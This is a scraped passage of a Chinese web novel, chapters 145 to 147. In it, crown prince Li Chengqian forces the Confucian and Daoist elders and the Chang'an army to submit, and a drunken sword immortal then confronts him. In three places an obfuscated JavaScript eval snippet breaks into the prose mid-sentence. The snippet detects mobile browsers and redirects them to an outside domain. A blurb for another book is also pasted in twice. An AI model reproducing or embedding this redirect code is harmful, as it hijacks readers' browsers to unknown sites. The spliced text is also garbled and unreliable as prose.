他们毕生所追求的,所捍卫的,在真正的天地大劫面前,真的…… 就只是一个笑话吗? “即便如此……” 良久,还是李道玄先回过神来,他毕竟是修“太上忘情”的,心性要坚韧得多。 他喘着粗气,死死地盯着清微道-长,又看了一眼城楼上的李承乾。 “就算你说的是真的!就算大劫将至!这和这个孽障,又有什么关系?!” 他的声音嘶哑,充满了不甘,“为何他就是解救危难之人?就凭他这一身魔气?就凭他这弑兄囚父的**?清微,你别告诉我,拯救世界,就要靠一个魔头!” “不错!” 孔伯渊也反应了过来,他像是抓住了最后一根救命稻草,厉声道:“此等心性凉薄,嗜杀成性之人,若是掌握了无上权力,只会给这个世界带来更大的灾难!他与那天妖皇,有何区别?!” 他们不信。 他们无法接受。 一个救世主,怎么可能是这副模样? 面对二人的质问,清微道长没有直接回答。 他转过身,对着李承乾的方向,深深一揖。 那姿态,比之前更加恭敬,甚至带上了一丝…… 虔诚。 “殿下,请恕贫道多言。” 李承乾面无表情,只是淡淡地点了点头。 得到了许可,清微道长才直起身,看向孔伯渊二人,他的眼神,前所未有的严肃。 “因为,重铸封印,需要两样东西。” “第一,是足以扭转乾坤,重定山河的无上伟力。” “第二,是足以承载这股力量,并且拥有斩断一切旧日因果,开创一个全新时代之意志的……天命之人!” 清微道长的目光,落在了李承乾的身上,那眼神,充满了连他自己都未曾察及的敬畏与狂热。 “太子殿下,就是这个人!” “你们只看到了他身上的杀伐之气,却看不到,这杀伐,为的是什么!” “他清洗佛门,是要将那些被蛀空的,属于神州大地的气运,重新夺回来!” “他屠戮门阀,是要将那些被世家垄断了数百年,早已腐朽不堪的‘**’,彻底打碎,然后重新凝聚!” “他颁布新政,惠及万民,是要获得天下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253069|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百姓最纯粹,最磅礴的‘人道愿力’!” 清微道长的声音,越来越高亢! “当这属于神州的气运,属于万民的愿力,与他自身那斩断乾坤的霸道意志,三者合一之时!他,便能以凡人之躯,行神明之事!重塑龙脉,再造乾坤!为这天地,立下万世不易的新封印!” “他‘以杀证道’,证的不是他自己的长生不死,而是这天下苍生的……一线生机!” “你们说他是魔?” 清微道长惨然一笑。 “若非这世道将他逼成了魔,又怎会有魔,来拯救这个早已烂透了的世界!” 这番话,彻底击溃了孔伯渊和李道玄最后的心理防线。 他们终于明白了。 原来,李承乾所做的一切,从一开始,就不是为了那个龙椅! 他的棋盘,是整个天下! 他的敌人,是即将到来的灭世天劫! 他所做的一切,清洗佛门,屠戮世家,都是在为那个最终的目标,积蓄力量! 何等疯狂的计划! 何等…… 宏伟的蓝图! 李世民,瘫坐在城楼上,也听到了这番话。 他怔怔地看着自己的儿子,那个他一直以为只是被权力欲望冲昏了头脑的逆子。 可是现在看来,太子的羽翼,竟然已经丰满到了此等地步。 蜀山清微道长,也为太子辩驳。 什么天命之人! 胡扯! 信口开河! 什么魔! 什么妖! 全部都是清微道长编造谎言。 “儒圣!” “道圣!” “还听他们说什么屁话!” “诛杀李承乾!” “神挡杀神!” 李世民不信锁妖塔,也不信天命之人。 他认为,全部都是蜀山在扯谎! …… 推荐一本朋友的书。 书名: 拥兵百万被赐死,起兵剑指朱元璋 简介: 洪武二十八年。大明十二皇子,湘王朱栢,拥兵百万,被赐死。 【叮!宿主情绪剧烈波动,检测到生存危机,发布紧急签到任务!】 【任务地点:湘王府密室。】 【任务奖励:未知。】 这十八年来,他每日签到。 第一年,在王府大门签到,获得三千血骑! 第三年,在荆州粮仓签到,获得百万石粮草,吃十年都吃不完! 第五年,在武当山签到,获得神将白起!第十年,在长河边签到,获得十万水师!…… 十八年如一日,从未间断。 朱栢坐镇荆州,十八年来,拥兵百万!…… 朱元璋为了朱允炆安稳的坐上龙椅,召集众多藩王入京。 朱栢更是被下令囚禁赐死。 朱允炆好大侄,你对皇叔们,真是既烧烤,又斩首,真是孝顺!好!好大侄,叔叔送你一份大礼! 百万兵马**要不要? 剑指金陵要不要! 你不是要请叔叔吃烧烤吗? 叔叔请你吃片肉好不好,一片一片的,三千片! 父皇,我百万兵临城下,你无将可用后悔了? 你说但凡蓝玉在,我也不敢如此猖獗。 但是,你的蓝玉在哪呢? 第145章 十万大军今日易主 他忽然想笑。 笑自己是何等的可悲,何等的可笑。 自己还在为了皇位的得失,为了所谓的“贞观盛世”的名声,沾沾自喜,猜忌打压。 而自己的儿子,却早已将目光,投向了那连神明都要为之侧目的…… 天地棋局! 格局! 这就是格局的差距! 他输了。 从一开始,就输了。 他不是输给了儿子的权谋,而是输给了儿子的…… 眼界! “哈哈……哈哈哈哈……” 李世民突然发出了神经质的大笑,笑着笑着,眼泪就流了下来。 他指着李承乾,又指着自己,笑得前仰后合,状若疯癫。 “原来如此……原来如此……朕在与人斗,而你……却在与天斗!” “朕……输得不冤……不冤啊!哈哈哈哈!” 这位千古一帝,在这一刻,精神彻底崩溃了。 而玄武门外,苏定方和他身后的十万大军,也听懂了。 他们或许不懂什么龙脉,什么天劫。 但他们听懂了最关键的一句。 太子殿下所做的一切,是为了拯救这个世界! 他们眼中的恐惧和崇拜,在这一刻,化为了最纯粹的,最狂热的…… 信仰! 他们看向李承乾的眼神,就像在看一尊行走在人间的…… 神! 这位曾经叱咤风云,开创了贞观盛世的帝王,在得知了这残酷而又宏大的真相后,他那颗无比骄傲的心,彻底被碾碎了。 他笑得眼泪鼻涕直流,瘫在地上,像一个失去了所有玩具的孩子,时而哭,时而笑,嘴里胡乱地念叨着“与天斗”、“输得不冤”之类的话。 周围的内侍和官员们,看着这一幕,一个个噤若寒蝉,连大气都不敢喘。 一个时代,在他们眼前,以一种最惨烈的方式,落幕了。 而另一个时代,则在那个黑衣太子的身上,冉冉升起。 玄武门下。 孔伯渊和李道玄,依旧沉浸在巨大的震撼之中,无法自拔。 清微道长的那番话,信息量太大,大到足以颠覆他们上百年来建立的一切认知。 尤其是衍圣公孔伯渊。 他的心,乱了。 作为儒家之首,他毕生都在追求“治国平天下”。 他希望看到的是一个君明臣贤,百姓安居乐业,人人遵循礼法的太平盛世。 李承乾的所作所为,无疑是“**”,是“酷吏”,是他最唾弃的行为。 可偏偏,这“**”的背后,却藏着“救世”的惊天大秘。 这让他陷入了前所未有的矛盾和痛苦之中。 难道,想要救这个世界,就必须先毁灭它吗? 难道,想要让百姓活下去,就必须先用雷霆手段,清洗掉那些所谓的“上等人”吗? 这…… 符合儒家的“仁”道吗? **。 他活了近两百年,第一次,对自已坚守了一生的信念,产生了怀疑。 “衍圣公。” 城楼上,李承乾的声音,再次响起。 他的声音,将孔伯渊从混乱的思绪中拉了出来。 孔伯渊抬起头,看向那个如同神魔一般的年轻人。 李承乾的目光,平静而深邃,仿佛能看穿他内心的一切挣扎。 “你的圣人,教你如何治理一个太平盛世。但他们,没有教你,如何拯救一个濒临死亡的世界。” 李承乾的声音,带着一丝漠然。 “因为,这个世界,病了。病入膏肓。” “你所做的,不过是给一个癌症晚期的病人,开一些调理身体的温补药方。而孤,是直接动刀,将那些烂透了的血肉,连着骨头,一起剜出来!” “过程,会很痛。病人,会流很多血。” “但,只有这样,他才有活下去的可能。” 李承乾的话,简单,粗暴,却像一把刀子,狠狠地扎进了孔伯渊的心里。 是啊。 治乱世,用重典。 这个道理,他懂。 可他从未想过,这“重典”,竟会“重”到如此地步! 这已经不是“典”了,这是…… 天罚! “可是……可是那些世家之中,也有无辜之人!那些被清洗的僧侣,也并非个个都罪大恶极!你这般行事,与滥杀何异?!” 孔伯渊还在做着最后的,无力的辩驳。 “无辜?” 李承乾笑了,那笑容里,带着一丝冰冷的嘲弄。 “雪崩的时候,没有一片雪花是无辜的。” “他们享受着世家门阀带来的特权,享受着佛门信徒的供奉,他们,就是这腐朽秩序的一部分。想要建立新世界,他们,就必须成为祭品。” “孤,没时间,也没兴趣,去一个个分辨,谁更烂一些。” 这番冷酷无情的话,让孔伯渊彻底没了声音。 他看着李承乾,只觉得一股寒气,从脚底板,直冲天灵盖。 眼前这个人,已经不能用“人”来形容了。 他是一条道的化身。 一条为了达到最终目的,可以舍弃一切,牺牲一切的…… 无情大道! 一旁的李道玄,此刻的心情,同样复杂到了极点。 相比于孔伯渊的“道统”之争,他更在乎的,是李氏的江山。 他修的是“太上忘情”,对凡俗的情感早已看淡。 他之所以出来阻止李承乾,是因为李承乾的行为,在他看来,是在动摇李唐的国本,是在自毁长城。 可现在,他明白了。 李承乾不是在自毁长城,他是在拆掉一座危楼,准备重建一座更宏伟,更坚固的宫殿! “如果……” 李道玄沙哑着开口,他盯着李承乾,问出了自己最关心的问题,“如果你成功了,这天下,还是我李家的天下吗?这江山,还姓李吗?” 李承乾闻言,将目光转向了他这位“皇叔祖”。 “当然。” 他的回答,斩钉截铁。 “这江山,将永远姓李。” “只不过,它将是属于孤的,李承乾的大唐!一个皇权至上,再无任何世家、豪门、方外势力可以掣肘的大唐!” “一个,孤说一,天下便无人敢说二的……铁血大唐!” 这番话,既是承诺,也是警告。 李道玄听懂了。 李承乾在告诉他,李家的皇位,会保住。 但是,像他这种可以对皇权指手画脚的“太上皇”,将不复存在! 李道玄沉默了。 他看着李承乾那双充满了野心和霸道的眼睛,又看了看旁边已经彻底疯癫的李世民。 他知道,该做出选择了。 是抱着李世民这个“正统”的牌位,一起被新时代的洪流碾碎? 还是…… 顺应天命,为李氏的未来,留下一条后路? 答案,不言而喻。 就在此时,玄武门外,那一直沉默的十万大军,终于有了动作。 主将苏定方,翻身下马。 他脱下了头上那顶象征着大唐将军荣耀的头盔,随手扔在了地上,发出一声沉闷的响声。 然后,他迈开沉重的步伐,一步一步,独自走到了紧闭的玄武门前。 在所有人,包括李承乾的注视下。 这位百战名将,“噗通”一声,单膝跪地! 他低下那颗高傲的头颅,用尽全身的力气,声如洪钟地喊道:“大唐长安守卫军主将,苏定方……” “愿为太子殿下……效死!” 苏定方跪了。 这名大唐军方新生代中最耀眼的将星,李世民最信任的长安守将,在经历了数次挣扎与动摇之后,终于做出了他的选择。 他这一跪,不仅仅代表他个人。 更代表着他身后那十万精锐的长安守卫军,代表着李世民手中最后一张,也是最重要的一张军事牌,彻底倒向了李承乾! “愿为太子殿下效死!” 苏定方的吼声,如同惊雷,在玄武门前回荡。 他身后,那十万名身披重甲的士兵,仿佛得到了统一的号令。 “哐当!” “哐当!” “哐当!” 无数的兵器,被扔在了地上,发出了震耳欲聋的金属撞击声。 紧接着,黑压压的一片,十万大军,如同潮水般,齐刷刷地单膝跪地! 他们脱下了头盔,露出一张张或年轻,或沧桑,但都充满了狂热与崇拜的脸。 “我等,愿为太子殿下效死!” 十万人的齐声怒吼,汇成一股惊天的声浪,直冲云霄,震得整个长安城,都在嗡嗡作响! 这一刻,玄武门之变的最后一点悬念,也随之烟消云散。 李承乾,以一种无可争议的,碾压性的姿态,赢得了这场政变的最终胜利! 城楼上,那些还站着的官员,看着城外那如同被驯服的巨兽般跪伏的十万大军,一个个双腿发软,几乎要瘫倒在地。 太可怕了! 这位太子殿下,不费一兵一卒,仅仅是靠着几句话,就让一支忠于皇帝的精锐之师,临阵倒戈! 这是何等恐怖的手段! 何等可怕的威望! 而李世民,在看到苏定方跪下的那一刻,他那疯癫的笑声,也停了下来。 他只是呆呆地看着城外那黑压压的一片,眼神空洞,仿佛被抽走了最后一丝灵魂。 完了。 他最后的军队,也没了。 他现在,真真正正地,成了一个孤家寡人。 孔伯渊和李道玄,看着眼前这震撼性的一幕,心中也是百感交集。 军队的倒戈,是“人心”最直接的体现。 这证明,李承乾所说的一切,并非虚言。 他真的,已经得到了军心,得到了民心所向! 他们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253070|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个代表着旧秩序的“老古董”,在这股名为“新时代”的洪流面前,已经彻底被孤立了。 李承乾站在城楼的边缘,静静地看着下方跪伏的军队,他的脸上,依旧没有任何得意的表情。 仿佛这一切,都在他的意料之中。 他缓缓抬起手,往下虚虚一压。 城外那震天的呼喊声,瞬间戛然而止。 十万大军,鸦雀无声,令行禁止到了极点! “苏定方。” 李承乾淡淡地开口。 “末将在!” 苏定方依旧跪在地上,头埋得低低的。 “你,很好。” 李承乾的声音,听不出喜怒,“你的选择,为你自己,也为你身后的十万将士,赢得了一个光明的未来。” “从今日起,长安守卫军,改编为‘神策军’,由你继续统领,直接听命于孤。” “谢殿下!” 苏定方激动得身体都在颤抖。 他知道,他赌对了! 太子殿下非但没有清算他们,反而委以重任! “神策军”,直接听命于太子,这是何等的信任与殊荣! “都起来吧。” “谢殿下!” 十万大军,动作划一地起身,重新拾起地上的兵器,那看向城楼上李承乾的目光,已经如同在仰望神明。 处理完苏定方的事情,李承乾的目光,才重新落回到孔伯渊和李道玄的身上。 他的眼神,依旧是那样的漠然,仿佛在看两件无关紧要的摆设。 “现在,该你们了。” 他的声音很平静。 “孤,给你们两个选择。” “第一,像他们一样,臣服于孤,为孤的新世界,贡献你们的力量。儒家,可以继续教化天下。太上道,也可以继续传承。” “当然,都必须在孤的规矩之下。” 他顿了顿,嘴角勾起一抹冰冷的弧度。 “第二……” “孤,亲手送你们上路。然后,将儒家,从这片土地上,连根拔起。将李氏宗族,除了孤这一脉,全部清洗。” “孤说到,做到。” 这已经不是威胁了。 这是…… 最后通牒! 空气,在这一瞬间,凝固到了冰点。 所有人的目光,都聚焦在了孔伯渊和李道玄的身上。 他们的选择,将决定儒家和李氏宗族的未来命运。 是顺应时代,卑微地活下去? 还是…… 抱着那可笑的尊严,与旧世界一起,被彻底埋葬? 李承乾的话,如同两把冰冷的刀子,架在了孔伯渊和李道玄的脖子上。 没有第三个选择。 要么臣服,要么毁灭。 李道玄的脸色,阴晴不定。 他看了一眼城楼上那个已经彻底疯癫的李世民,又看了看旁边那个如同神魔一般,主宰着一切的李承乾。 他心中那杆天平,在剧烈地摇摆。 作为李氏皇族的老祖,他的使命,是保证李氏血脉的延续和江山的稳固。 李世民,显然已经是一个废人了。 指望他,李唐江山只会跟着他一起完蛋。 而李承乾…… 虽然他手段酷烈,行事霸道,但他展现出的能力、魄力、以及那恐怖的实力,都预示着,他将开创一个远比“贞观之治”更加辉煌的铁血盛世! 如果,李唐的江山,能在他的手中,延续下去,甚至变得更强…… 李道玄开始动摇。 …… 推荐一本朋友的书。 书名: 拥兵百万被赐死,起兵剑指朱元璋 简介: 洪武二十八年。大明十二皇子,湘王朱栢,拥兵百万,被赐死。 【叮!宿主情绪剧烈波动,检测到生存危机,发布紧急签到任务!】 【任务地点:湘王府密室。】 【任务奖励:未知。】 这十八年来,他每日签到。 第一年,在王府大门签到,获得三千血骑! 第三年,在荆州粮仓签到,获得百万石粮草,吃十年都吃不完! 第五年,在武当山签到,获得神将白起!第十年,在长河边签到,获得十万水师!…… 十八年如一日,从未间断。 朱栢坐镇荆州,十八年来,拥兵百万!…… 朱元璋为了朱允炆安稳的坐上龙椅,召集众多藩王入京。 朱栢更是被下令囚禁赐死。 朱允炆好大侄,你对皇叔们,真是既烧烤,又斩首,真是孝顺!好!好大侄,叔叔送你一份大礼! 百万兵马**要不要? 剑指金陵要不要! 你不是要请叔叔吃烧烤吗? 叔叔请你吃片肉好不好,一片一片的,三千片! 父皇,我百万兵临城下,你无将可用后悔了? 你说但凡蓝玉在,我也不敢如此猖獗。 但是,你的蓝玉在哪呢? 第146章 圣人低头,皇叔亦俯首 李承乾的话,不带任何温度,却像烧红的烙铁,狠狠地烫在孔伯渊和李道玄的心头。 要么臣服,要么毁灭。 没有第三条路。 这已经不是选择,而是审判。 李道玄的脸色,一阵青一阵白。 他修的是太上忘情,本该心如止水,可此刻,他的道心却乱成了一锅粥。 他下意识地看了一眼城楼上那个疯疯癫癫的李世民,那个他曾经寄予厚望,意图扶持其成为千古一帝的侄子。 废了。 彻底废了。 一个帝王,可以输掉江山,可以输掉性命,但绝不能输掉心气。 李世民的心气,已经被他这个儿子,碾得粉碎。 指望他? 李唐的江山只会跟着他一起,成为史书上的一笔笑谈。 李道玄的目光,又艰难地移向了那个如同神魔一般,主宰着一切的李承乾。 这个孙子辈的年轻人,手段酷烈,行事霸道,简直就是个彻头彻尾的魔王。 可偏偏,他展现出的能力、魄力,以及那恐怖到让人绝望的实力,都预示着,他将开创一个远比“贞观之治”更加强横,更加辉煌的铁血盛世! 如果,李唐的江山,能在他的手中,延续下去,甚至变得更强…… 他修的道,是“太上道”,与皇道龙气息息相关。 只要李唐的国祚还在,只要江山还姓李,他的道,就不会断绝。 至于谁来当这个皇帝…… 李道玄的心,在剧烈地挣扎。 他活了这么多年,第一次感觉到了什么叫“天命难违”。 他身旁的孔伯渊,比他更痛苦。 李道玄考虑的是李氏一族的存续,而他孔伯渊,肩上扛着的,是儒家千年的道统! 向一个弑兄囚父,满身血腥的“**”低头? 这等于是否定了他自己,否定了孔圣人传下来的“礼法”与“仁道”! 可是,不低头呢? 李承乾那句“将儒家,从这片土地上,连根拔起”,绝不是一句空话。 他真的敢,也真的能做到! 他连佛门都敢清洗,连世家门阀都敢屠戮,一个不怎么听话的儒家,又算得了什么? 到时候,他孔伯渊,就不是儒家的圣人,而是葬送了儒家千年传承的千古罪人! 一边是坚守一生的道义,一边是整个道统的存亡。 这个选择题,太难了。 难到让他这个活了近两百年的儒家之首,都感觉到了五内俱焚的煎熬。 “皇叔祖。” 李承乾的声音再次响起,打破了这死一般的沉寂。 “你的选择呢?” 李道玄浑身一震。 他知道,不能再拖下去了。 他深吸一口气,那张鹤发童颜的脸上,仿佛瞬间苍老了几十岁。 他缓缓地,对着城楼上的李承乾,弯下了自己那从未向任何人弯过的腰。 “李氏宗族,陇西李道玄……” 他的声音沙哑,充满了苦涩与无奈,“愿……奉太子殿下为主,听凭调遣。” 这一拜,代表着李氏皇族最后的守护力量,彻底臣服。 李道玄的心在滴血,但他别无选择。 为了李氏的江山,为了“太上道”的传承,他只能向这个他最看不惯的后辈,低下高傲的头颅。 “很好。” 李承乾的回答依旧平淡,仿佛这只是意料之中的小事。 他的目光,转向了场中最后那个站着的人。 “衍圣公,你呢?” 所有人的视线,都集中在了孔伯渊的身上。 这位儒家之首,此刻须发凌乱,脸色惨白,手中的鳩杖都在微微颤抖。 他看着李道玄那弯下去的脊梁,看着城外那十万跪伏的军士,看着天空中那三千柄散发着森然剑意的仙剑。 衍生公不知道,该不该继续下去。 他担心蜀山剑仙痛下**。 若他败了,则是天下儒道灭亡之时。 一个懒洋洋的,带着几分醉意的歌声,毫无征兆地,从长安城的另一头,飘了过来。 “御剑乘风来,除魔天地间。” “有酒乐逍遥,无酒我亦癫。” “一饮尽江河,再饮吞日月。” “千杯醉不倒,唯我酒剑仙!” 这歌声,初时还很遥远,却仿佛带着一种奇特的魔力,穿透了这玄武门前肃杀的氛围,清晰地传入了每个人的耳中。 那声音,洒脱,不羁,充满了逍至遥在的意味,与这血腥、压抑的场景,格格不入。 所有人都是一愣。 谁? 谁敢在这个时候,在这里唱歌? 不要命了? 李承乾的眉头,微微皱起。 清微道长的脸色,却是瞬间大变! 那醉醺醺的歌声,仿佛无视了空间的距离,每一个字都清晰地敲在众人的心头。 歌声里没有杀气,没有威严,只有一种说不出的洒脱和自由。 可就是这种感觉,让玄武门前这片由鲜血和死亡凝固的压抑气氛,像是被投入了一颗石子的湖面,荡起了圈圈涟... 清微道长那张古井无波的脸上,第一次露出了无法掩饰的震惊。 他失声喃喃,声音里带着连他自己都未曾察觉的颤抖。 “师……师叔?” 他身后的五大长老,也是个个脸色大变,面面相觑,眼神中充满了骇然与不解。 蜀山之内,能被掌教清微称之为“师叔”的,只有那一位! 那个早在百年前,就叛出师门,游戏人间,被列为蜀山禁忌的传奇人物! 他怎么会出现在这里?! 就在众人惊疑不定之际,一道身影,摇摇晃晃地,从朱雀大街的尽头,走了过来。 那人身穿一件破旧的青色长衫,头发乱糟糟的,手里提着一个红皮大葫芦,一边走,一边仰头“咕咚咕咚”地灌着酒。 他走得很慢,步履踉跄,仿佛随时都会醉倒在地。 可偏偏,他每一步踏出,都像踩在了某种玄妙的节点上,看似走了很久,却在几个呼吸之间,就从街头走到了玄武门下。 他身上没有丝毫强者的气息,就像一个落魄的醉鬼,可无论是城外那十万大军的铁血煞气,还是天空中三千剑仙的森然剑意,都仿佛对他视而不见,根本无法影响他分毫。 来人打了个长长的酒嗝,浑浊的醉眼,懒洋洋地扫视了一圈。 他看到了跪在地上的孔伯渊和李道玄,撇了撇嘴,像是看到了两块碍事的石头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253071|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他看到了城楼上疯疯癫癫的李世民,摇了摇头,叹了口气:“当皇帝当成这样,还不如我这葫芦里的酒有味道。” 他看到了天空中严阵以待的清微道长和三千蜀山弟子,更是直接翻了个白眼。 “好大的阵仗!清微,你这掌教当得不错嘛,都学会带着弟子们来给凡人当保镖了?蜀山的剑,是这么用的?” 他的声音不大,却带着一种辛辣的嘲讽,让清微道长和五大长老的脸,都涨成了猪肝色。 “司剑师叔……” 清微道长嘴唇动了动,想要解释什么,却又不知从何说起。 来人,正是蜀山上一代掌教的师弟,因其剑术通神,又痴迷于酒,被誉为“酒剑仙”的司剑! 然而,酒剑仙根本没理会他。 他的目光,越过了所有人,最后,落在了城楼之上,那个从始至终都负手而立,神情冰冷的黑衣太子身上。 他上下打量了李承乾一番,那双醉眼之中,闪过一丝不易察觉的精光。 “啧啧啧……” 酒剑仙砸了咂嘴,又灌了一口酒,摇摇晃晃地走到城楼下,仰着头,对着李承乾喊道:“喂,小子!” 这一声称呼,让所有人都倒吸了一口凉气。 这醉汉疯了吗? 他竟然敢叫这位杀神“小子”? “杀了自己的亲妹妹,又把自己老爹逼疯了,感觉怎么样?” 酒剑仙咧嘴一笑,露出一口白牙,那笑容里,满是玩味和戏谑。 “这龙椅,坐上去是不是特别舒服?是不是感觉自己就是天下的主宰了?” 他的话,就像一把把刀子,直戳李承乾最核心的行为。 苏定方和他身后的神策军将士们,一个个怒目而视,手中的兵器握得咯咯作响。 若不是没有得到命令,他们早就冲上去,将这个口出狂言的醉鬼剁成肉酱了! 然而,李承乾只是静静地看着他,那张冰封的脸上,没有任何表情。 “你是谁?” 他终于开口了,声音冷得像冰。 “我?” 酒剑仙哈哈大笑,笑得前仰后合,葫芦里的酒都洒出来不少。 “我就是个爱喝酒的糟老头子罢了。” 他笑声一收,眼神突然变得锐利起来,仿佛两把出鞘的利剑,瞬间刺穿了他所有的伪装。 “我来,是想问你一件事。” 酒剑仙死死地盯着李承乾,一字一顿地说道:“小子,你闹够了没有?” “这皇位,你坐也坐了,威风也耍了。现在,是不是该停手了?” “这玄武门前的血,流的还不够多吗?” 他的声音,不再有半分醉意,而是充满了质问。 李承乾的眼眸,微微眯起。 “你,在教孤做事?” 一股无形的,霸道绝伦的帝王之气,从他身上弥漫开来,向着城下的酒剑仙,碾压而去! 这是他那足以震碎衍圣公道统的恐怖力量! 然而,面对这股力量,酒剑仙只是又打了个酒嗝。 那股黑色的帝气,在靠近他身体三尺之外时,就仿佛遇到了一个无形的漩涡,悄无声息地,被分解、消散,连他破旧的衣衫都没有吹动分毫。 “啧,好大的口气。” 第147章 逍遥自在,无上剑意 酒剑仙撇了撇嘴,一脸的不屑。 “小子,别跟我来这套。你这点力量,在真正的大恐怖面前,屁都不是。” 他指了指天空,又指了指大地。 “你以为你最大的敌人,是你的父皇?是这些老古董?” 他摇了摇头,眼神里,竟带上了一丝怜悯。 “你错了。” “你真正的敌人,是这天,是这地,是那座快要关不住里面那些东西的破塔!” “你在这里杀得血流成河,争一个破椅子,有意思吗?你这是在内斗!在浪费时间!在自寻死路!” 酒剑仙的话,让清微道长脸色惨白。 他知道,酒剑仙说的,是锁妖塔! 而李承乾的瞳孔,也是猛地一缩。 这个人,知道锁妖塔的秘密! 而且,他似乎…… 还知道更多! 酒剑仙那句“自寻死路”,像一根针,狠狠地扎在了玄武门前所有知情者的心上。 清微道长和五大长老的脸色,难看到了极点。 他们选择辅佐李承乾,正是因为他是解决锁妖塔危机的唯一希望。 可在酒剑仙口中,李承乾如今所做的一切,竟然成了“自寻死路”? 这彻底颠覆了他们的认知。 “司剑师叔!” 凤道人终于忍不住了,她对着城下的酒剑仙高声喊道,“您久不回山,有所不知!如今锁妖塔封印松动,神州龙脉被污,若不以雷霆手段,聚拢人间气运,重塑乾坤,则大劫将至,天下倾覆!” 她指着城楼上的李承乾,语气激动:“太子殿下行霹雳手段,正是为了挽救这苍生社稷!我蜀山顺天而行,助殿下成就大业,何错之有?!” “顺天而行?” 酒剑仙听到这四个字,像是听到了天底下最好笑的笑话,再次放声大笑起来。 “哈哈哈哈!好一个顺天而行!” 他笑得眼泪都快出来了,指着天空中的凤道人,又指了指清微道长。 “你们这群小辈,在山上读了几本破经,就真以为自己懂天了?” “你们懂个屁!” 酒剑仙的笑声戛然而止,脸色瞬间沉了下来,一股恐怖的剑意,从他那看似孱弱的身体里,一闪而逝。 那剑意,与蜀山三千弟子的锋锐不同,与清微道长的中正平和也不同。 那是一种…… 逍遥自在,却又仿佛能斩断世间一切束缚的无上剑意! 在这股剑意面前,天空中的三千剑仙,竟齐齐感觉到了自己手中的长剑,发出了不安的嗡鸣,仿佛是在朝拜,又像是在畏惧! “你们以为,他是在聚拢气运?” 酒剑仙指着李承乾,冷声喝道,“你们看清楚他身上那是什么东西!” “那是杀伐之气!是怨气!是天下万民在动荡中所产生的恐惧和绝望!” “他清洗佛门,屠戮世家,固然是铲除了毒瘤,但也让这片天地,充满了前所未有的负面情绪!” “你们管这叫‘刮骨疗毒’?我告诉你们,这叫饮鸩止渴!” 酒剑仙的目光,死死地锁定在李承乾身上,那眼神,锐利得仿佛要将他从里到外看个通透。 “锁妖塔下的那个老怪物,最喜欢的是什么?就是这些东西!杀戮、怨恨、恐惧……这些都是它最好的补品!” “你杀的人越多,长安城流的血越浓,那老怪物只会苏醒得越快,力量也变得越强!” “清微,你带着蜀山弟子帮他,不是在救世,你们是在帮着那个老怪物,拆掉它身上最后的枷锁!” “你们是在给它喂食!” 这番话,如同九天惊雷,炸得清微道长和五大长老脑中一片空白。 他们…… 在帮倒忙? 他们以为的救世之举,实际上是在加速末日的到来? 这…… 这怎么可能?! “一派胡言!” 清微道长厉声喝道,他不能让酒剑仙动摇军心。 “师叔!你百年前便已下山,你根本不了解如今的局势!太子殿下所聚拢的,不仅有杀伐之气,更有新政颁布后,天下万民归心的人道愿力!此乃新生之气,是希望之火!足以净化一切!你怎可如此污蔑殿下!” “人道愿力?希望之火?” 酒剑仙嗤笑一声,那笑容里充满了不屑。 “清微啊清微,你还是太天真了。你以为,‘道’是什么?是小孩子过家家,黑白分明吗?” “水能载舟,亦能覆舟。人道愿力,是天下最纯粹的力量,也是天下最容易被污染的力量。当它和无边的杀戮与怨气混杂在一起时,你猜,它会变成什么?” 酒剑仙没有直接说答案,但他那充满嘲弄的眼神,已经说明了一切。 它会变成一头,比天妖皇更加贪婪,更加不可控的怪物! 清微道长的心,沉到了谷底。 他发现,自己竟然无法反驳。 因为酒剑仙所说的,触及到了“道”的根本。 那是他钻研了上百年,却依旧感到迷茫的领域。 而城楼上,李承乾的脸色,也终于变了。 不再是冰冷,而是一种前所未有的凝重。 因为他知道,这个醉鬼,说对了。 他能感觉到,自己体内那股磅礴的黑色帝气之中,那股代表着新生与希望的“人道愿力”,正在被尸山血海般的杀伐之气,慢慢地侵蚀,同化。 他原本以为,只要自己的意志足够坚定,就能完美地驾驭这股力量。 可现在,这个醉鬼却告诉他,他从一开始,就走在一条通往自我毁灭的道路上。 “你,根本不懂剑。” 酒剑仙摇了摇头,看向天空中的三千剑仙,眼神里充满了失望。 “你们蜀山的剑,是守护的剑,是斩妖除魔的剑,不是帝王家争权夺利的屠刀。” 他又看向李承乾。 “你,更不懂道。” “你以为毁灭之后就是新生?你以为砸碎了旧世界,新世界就会自动出现?” “你错了。毁灭之后,只会是更彻底的毁灭。你用杀戮换来的皇位,最终,也只会被更强大的杀戮所推翻。” “你不是在救世。” 酒剑仙举起手中的酒葫芦,对着李承乾,仿佛在敬他。 “你是在为这个世界,殉葬。” 